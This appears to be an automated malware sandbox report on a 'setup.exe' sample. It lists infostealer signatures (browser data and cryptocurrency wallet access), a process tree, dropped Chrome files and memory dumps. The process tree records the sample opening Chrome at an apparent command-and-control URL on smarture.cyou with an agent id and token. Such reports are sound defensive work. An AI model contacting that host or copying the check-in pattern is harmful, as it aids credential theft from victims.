Analysis

  • max time kernel
    149s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260513-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    12/08/2026, 15:32

General

  • Target
    setup.exe
  • Size 4.7MB
  • Sample260812-sy5efade73
  • SHA256 f1cb8444675f9a1e517ec3f81bc1344ff98223d25842eb3c72d75b455c9d1fe5
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • System Time Discovery 1 TTPs 1 IoCs

    Adversary may gather the system time and/or time zone settings from a local or remote system.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Modifies data under HKEY_USERS 2 IoCs
  • Modifies registry class 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 10 IoCs
  • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 16 IoCs
  • Suspicious use of FindShellTrayWindow 34 IoCs
  • Suspicious use of WriteProcessMemory 14 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\setup.exe
    "C:\Users\Admin\AppData\Local\Temp\setup.exe"
    1⤵
    • System Location Discovery: System Language Discovery
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:4464
    • C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" smarture.cyou/api/set_agent?id=76624069BD24956701AEC7B30ADF174C&token=78828b17bfe87b226238aeee012367a7b749259663ef&description=&agent=Chrome
      2⤵
      • Checks processor information in registry
      • Enumerates system info in registry
      • Modifies data under HKEY_USERS
      • Modifies registry class
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of WriteProcessMemory
      PID:1512
      • C:\Program Files\Google\Chrome\Application\chrome.exe
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0xf8,0xfc,0x100,0xd4,0x104,0x7ffdc7bdc728,0x7ffdc7bdc734,0x7ffdc7bdc740
        3⤵
          PID:716
        • C:\Program Files\Google\Chrome\Application\chrome.exe
          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1724,i,6846895166017195487,18403882107712832887,262144 --field-trial-handle=2040,i,5348301317182778667,14400335673063273442,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=2036 /prefetch:2
          3⤵
            PID:2744
          • C:\Program Files\Google\Chrome\Application\chrome.exe
            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=1628,i,5293097956079833060,3101744938606670067,524288 --field-trial-handle=2040,i,5348301317182778667,14400335673063273442,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=2332 /prefetch:3
            3⤵
            • System Time Discovery
            PID:4764
          • C:\Program Files\Google\Chrome\Application\chrome.exe
            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=2420,i,6127883479979119815,1268628573414883809,524288 --field-trial-handle=2040,i,5348301317182778667,14400335673063273442,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=2584 /prefetch:8
            3⤵
              PID:212
            • C:\Program Files\Google\Chrome\Application\chrome.exe
              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3188,i,4203575133227873862,2050801822861054104,2097152 --field-trial-handle=2040,i,5348301317182778667,14400335673063273442,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=3236 /prefetch:1
              3⤵
                PID:2776
              • C:\Program Files\Google\Chrome\Application\chrome.exe
                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3176,i,193223391200803391,2657118248375240096,2097152 --field-trial-handle=2040,i,5348301317182778667,14400335673063273442,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=3208 /prefetch:1
                3⤵
                  PID:440
                • C:\Program Files\Google\Chrome\Application\chrome.exe
                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --metrics-shmem-handle=4300,i,11728224084869029978,13516986596265585026,2097152 --field-trial-handle=2040,i,5348301317182778667,14400335673063273442,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=4312 /prefetch:2
                  3⤵
                    PID:1784
                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=5284,i,11325058429179997432,12915561044507499539,524288 --field-trial-handle=2040,i,5348301317182778667,14400335673063273442,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=5288 /prefetch:8
                    3⤵
                      PID:2712
                • C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
                  "C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
                  1⤵
                    PID:3796
                  • C:\Windows\system32\svchost.exe
                    C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
                    1⤵
                      PID:3388

                    Network

                          MITRE ATT&CK Enterprise v16

                          Replay Monitor

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                          Downloads

                          BookmarkMergedSurfaceOrdering

                          • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\BookmarkMergedSurfaceOrdering
                          • Size 6B
                          • SHA256 4489f9e3e454748b3521eb214e0a5694d562cff3d9ff511cb456953c8f534c00
                          • MD5 SHA1 SHA512

                          BrowsingTopicsState

                          • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\BrowsingTopicsState
                          • Size 414B
                          • SHA256 87812000a93705af9638338277ff0a980f6b82fb8020a5d0b033e06f3ba4895d
                          • MD5 SHA1 SHA512 TLSH

                          a4e5ee58-57c0-4ffd-a29c-387c907437a4.tmp

                          • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\a4e5ee58-57c0-4ffd-a29c-387c907437a4.tmp
                          • Size 2B
                          • SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
                          • MD5 SHA1 SHA512

                          Web Data

                          • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Data
                          • Size 138KB
                          • SHA256 c8941063b537ae15d22aa37f8f2cb88f3e7d7e22d01919a5d5e58263f5ecd185
                          • MD5 SHA1 SHA512 SSDEEP TLSH

                          Last Version

                          • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Last Version
                          • Size 13B
                          • SHA256 e5efa9eb104cd0b25149c2e789bec8d9aa4ba95678831b657eef7780a281c391
                          • MD5 SHA1 SHA512

                          Local State

                          • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
                          • Size 115KB
                          • SHA256 a12da22f4b55898766ab1601660de19b65d22d5d3730844da0edc93cbe9c9a6f
                          • MD5 SHA1 SHA512 SSDEEP TLSH

                          memory/4464-48-0x0000000023C30000-0x0000000023C31000-memory.dmp

                          memory/4464-44-0x0000000023C30000-0x0000000023C31000-memory.dmp

                          memory/4464-54-0x0000000023C30000-0x0000000023C31000-memory.dmp

                          memory/4464-53-0x0000000023C30000-0x0000000023C31000-memory.dmp

                          memory/4464-51-0x0000000023C30000-0x0000000023C31000-memory.dmp

                          memory/4464-50-0x0000000023C30000-0x0000000023C31000-memory.dmp

                          memory/4464-49-0x0000000023C30000-0x0000000023C31000-memory.dmp

                          memory/4464-0-0x0000000002B90000-0x0000000002BEF000-memory.dmp

                          memory/4464-47-0x0000000023C30000-0x0000000023C31000-memory.dmp

                          memory/4464-46-0x0000000023C30000-0x0000000023C31000-memory.dmp

                          memory/4464-45-0x0000000023C30000-0x0000000023C31000-memory.dmp

                          memory/4464-52-0x0000000023C30000-0x0000000023C31000-memory.dmp

                          memory/4464-43-0x0000000023C30000-0x0000000023C31000-memory.dmp

                          memory/4464-42-0x0000000023C30000-0x0000000023C31000-memory.dmp

                          memory/4464-41-0x0000000023C30000-0x0000000023C31000-memory.dmp

                          memory/4464-40-0x0000000023C30000-0x0000000023C31000-memory.dmp

                          memory/4464-39-0x0000000023C30000-0x0000000023C31000-memory.dmp

                          memory/4464-38-0x0000000023C30000-0x0000000023C31000-memory.dmp

                          memory/4464-1-0x0000000002B90000-0x0000000002BEF000-memory.dmp

                          memory/4464-71-0x0000000023C30000-0x0000000023C31000-memory.dmp

                          memory/4464-72-0x0000000023C30000-0x0000000023C31000-memory.dmp